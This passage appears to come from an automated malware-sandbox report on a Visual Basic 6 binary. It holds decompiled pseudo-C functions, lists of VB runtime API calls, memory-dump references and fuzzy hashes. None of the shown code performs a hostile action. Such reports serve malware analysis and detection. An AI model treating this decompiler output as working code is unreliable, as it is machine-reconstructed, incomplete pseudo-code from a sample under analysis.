      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,00000060), ref: 0041684C
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000060), ref: 00416854
      • #598.MSVBVM60(00000000,?,0041084C,00000060), ref: 00416859
      • __vbaFreeStr.MSVBVM60(00416886), ref: 00416880
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$CheckFreeHresult$#598MoveNew2
      • String ID: fO*
      • API String ID: 2448282479-524416156
      • Opcode ID: 548bec2051af6ee0e0664984c9489609597134e5f781e799393e5e4596904016
      • Instruction ID: 4727280fcac2b4385a86248af245e1429d748193555b93c1174320ee4066e406
      • Opcode Fuzzy Hash: 548bec2051af6ee0e0664984c9489609597134e5f781e799393e5e4596904016
      • Instruction Fuzzy Hash: 66114D70940209ABCB00EF96CC86EEEBBB8EB54704F10416AF004B31E1D6BC9941CBA8
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 60%
      			E00413EFE(void* __ebx, void* __ecx, void* __edi, void* __esi) {
      				intOrPtr _v8;
      				intOrPtr _v12;
      				intOrPtr _v24;
      				intOrPtr _v28;
      				intOrPtr _v32;
      				intOrPtr _v36;
      				intOrPtr _v44;
      				char _v52;
      				char* _t21;
      				char _t35;
      				intOrPtr _t38;
      
      				_push(0x401306);
      				_push( *[fs:0x0]);
      				 *[fs:0x0] = _t38;
      				_v12 = _t38 - 0x34;
      				_v8 = 0x4011e8;
      				_t35 = 2;
      				_push(0xfffffffe);
      				_push(0xfffffffe);
      				_push(0xfffffffe);
      				_push(0xffffffff);
      				_push( &_v52);
      				_v24 = 0;
      				_v28 = 0;
      				_v44 = 0;
      				_v52 = _t35;
      				L00401462();
      				L004014B6();
      				L004014CE();
      				_t21 =  &_v52;
      				_push(0);
      				_push(_t21);
      				_v44 = 1;
      				_v52 = _t35;
      				L0040145C();
      				L004014B6();
      				L004014CE();
      				_v36 = 0xf1bc9ee0;
      				_v32 = 0x5b03;
      				_push(0x413faf);
      				L0040149E();
      				L0040149E();
      				return _t21;
      			}














      0x00413f03
      0x00413f0e
      0x00413f0f
      0x00413f1c
      0x00413f1f
      0x00413f2b
      0x00413f2e
      0x00413f30
      0x00413f32
      0x00413f34
      0x00413f36
      0x00413f37
      0x00413f3a
      0x00413f3d
      0x00413f40
      0x00413f43
      0x00413f4d
      0x00413f55
      0x00413f5a
      0x00413f5d
      0x00413f5e
      0x00413f5f
      0x00413f66
      0x00413f69
      0x00413f73
      0x00413f7b
      0x00413f80
      0x00413f87
      0x00413f8e
      0x00413fa1
      0x00413fa9
      0x00413fae

      APIs
      • #704.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413F43
      • __vbaStrMove.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413F4D
      • __vbaFreeVar.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413F55
      • #705.MSVBVM60(?,00000000,?,000000FF,000000FE,000000FE,000000FE), ref: 00413F69
      • __vbaStrMove.MSVBVM60(?,00000000,?,000000FF,000000FE,000000FE,000000FE), ref: 00413F73
      • __vbaFreeVar.MSVBVM60(?,00000000,?,000000FF,000000FE,000000FE,000000FE), ref: 00413F7B
      • __vbaFreeStr.MSVBVM60(00413FAF,?,00000000,?,000000FF,000000FE,000000FE,000000FE), ref: 00413FA1
      • __vbaFreeStr.MSVBVM60(00413FAF,?,00000000,?,000000FF,000000FE,000000FE,000000FE), ref: 00413FA9
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Free$Move$#704#705
      • String ID:
      • API String ID: 485349074-0
      • Opcode ID: fd445445a28c82c6b1f6a023afa618f0c8ce3822e88f4c50e1318fd1778dcaec
      • Instruction ID: ea80eed2d1969cc989e6746f4570a8993804ff7ac16d0c5fbb8df291c4a989b3
      • Opcode Fuzzy Hash: fd445445a28c82c6b1f6a023afa618f0c8ce3822e88f4c50e1318fd1778dcaec
      • Instruction Fuzzy Hash: 1D11FB70914219AACB04EF96CD86EEEBBB9BF54724F20022AF011725F1DB781605CB95
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 53%
      			E004160B8(void* __ebx, void* __ecx, void* __edi, void* __esi) {
      				intOrPtr _v8;
      				intOrPtr _v12;
      				intOrPtr _v24;
      				intOrPtr _v28;
      				char _v32;
      				char _v36;
      				void* _v40;
      				void* _t20;
      				intOrPtr* _t21;
      				void* _t22;
      				intOrPtr* _t35;
      				intOrPtr* _t36;
      				intOrPtr _t39;
      				intOrPtr _t41;
      
      				_push(0x401306);
      				_push( *[fs:0x0]);
      				 *[fs:0x0] = _t39;
      				_v12 = _t39 - 0x2c;
      				_v8 = 0x4012b8;
      				_t41 =  *0x4172d4; // 0x21de8bc
      				_v32 = 0;
      				_v36 = 0;
      				_v40 = 0;
      				if(_t41 == 0) {
      					_push(0x4172d4);
      					_push(0x41082c);
      					L004014C8();
      				}
      				_t35 =  *0x4172d4; // 0x21de8bc
      				_t20 =  *((intOrPtr*)( *_t35 + 0x14))(_t35,  &_v40);
      				asm("fclex");
      				if(_t20 < 0) {
      					_push(0x14);
      					_push(0x41081c);
      					_push(_t35);
      					_push(_t20);
      					L004014C2();
      				}
      				_t21 = _v40;
      				_t36 = _t21;
      				_t22 =  *((intOrPtr*)( *_t21 + 0xd8))(_t21,  &_v36);
      				asm("fclex");
      				if(_t22 < 0) {
      					_push(0xd8);
      					_push(0x41084c);
      					_push(_t36);
      					_push(_t22);
      					L004014C2();
      				}
      				_v36 = 0;
      				L004014B6();
      				L004014BC();
      				_v28 = 0xbc2a94e0;
      				_v24 = 0x5af3;
      				_push(0x416194);
      				L0040149E();
      				return _t22;
      			}

















      0x004160bd
      0x004160c8
      0x004160c9
      0x004160d6
      0x004160d9
      0x004160e2
      0x004160e8
      0x004160eb
      0x004160ee
      0x004160f1
      0x004160f3
      0x004160f8
      0x004160fd
      0x004160fd
      0x00416102
      0x0041610f
      0x00416114
      0x00416116
      0x00416118
      0x0041611a
      0x0041611f
      0x00416120
      0x00416121
      0x00416121
      0x00416126
      0x00416130
      0x00416132
      0x0041613a
      0x0041613c
      0x0041613e
      0x00416143
      0x00416148
      0x00416149
      0x0041614a
      0x0041614a
      0x00416155
      0x00416158
      0x00416160
      0x00416165
      0x0041616c
      0x00416173
      0x0041618e
      0x00416193

      APIs
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 004160FD
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00416121
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000D8), ref: 0041614A
      • __vbaStrMove.MSVBVM60 ref: 00416158
      • __vbaFreeObj.MSVBVM60 ref: 00416160
      • __vbaFreeStr.MSVBVM60(00416194), ref: 0041618E
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$CheckFreeHresult$MoveNew2
      • String ID:
      • API String ID: 2347022188-0
      • Opcode ID: ec877a03413479460c7d9e7d589c2752262082a434d4f0868ec671985a2ced53
      • Instruction ID: e30aa5b80cde0f5c2d1cf6cd306fc24b60fec6fc1fa76f73c4995848d91b488e
      • Opcode Fuzzy Hash: ec877a03413479460c7d9e7d589c2752262082a434d4f0868ec671985a2ced53
      • Instruction Fuzzy Hash: 8C211F70940219AFCB00EF95CD86EEEBBB8FB54744F60456AF004772E2D7BC59418BA8
      Uniqueness

      Uniqueness Score: -1.00%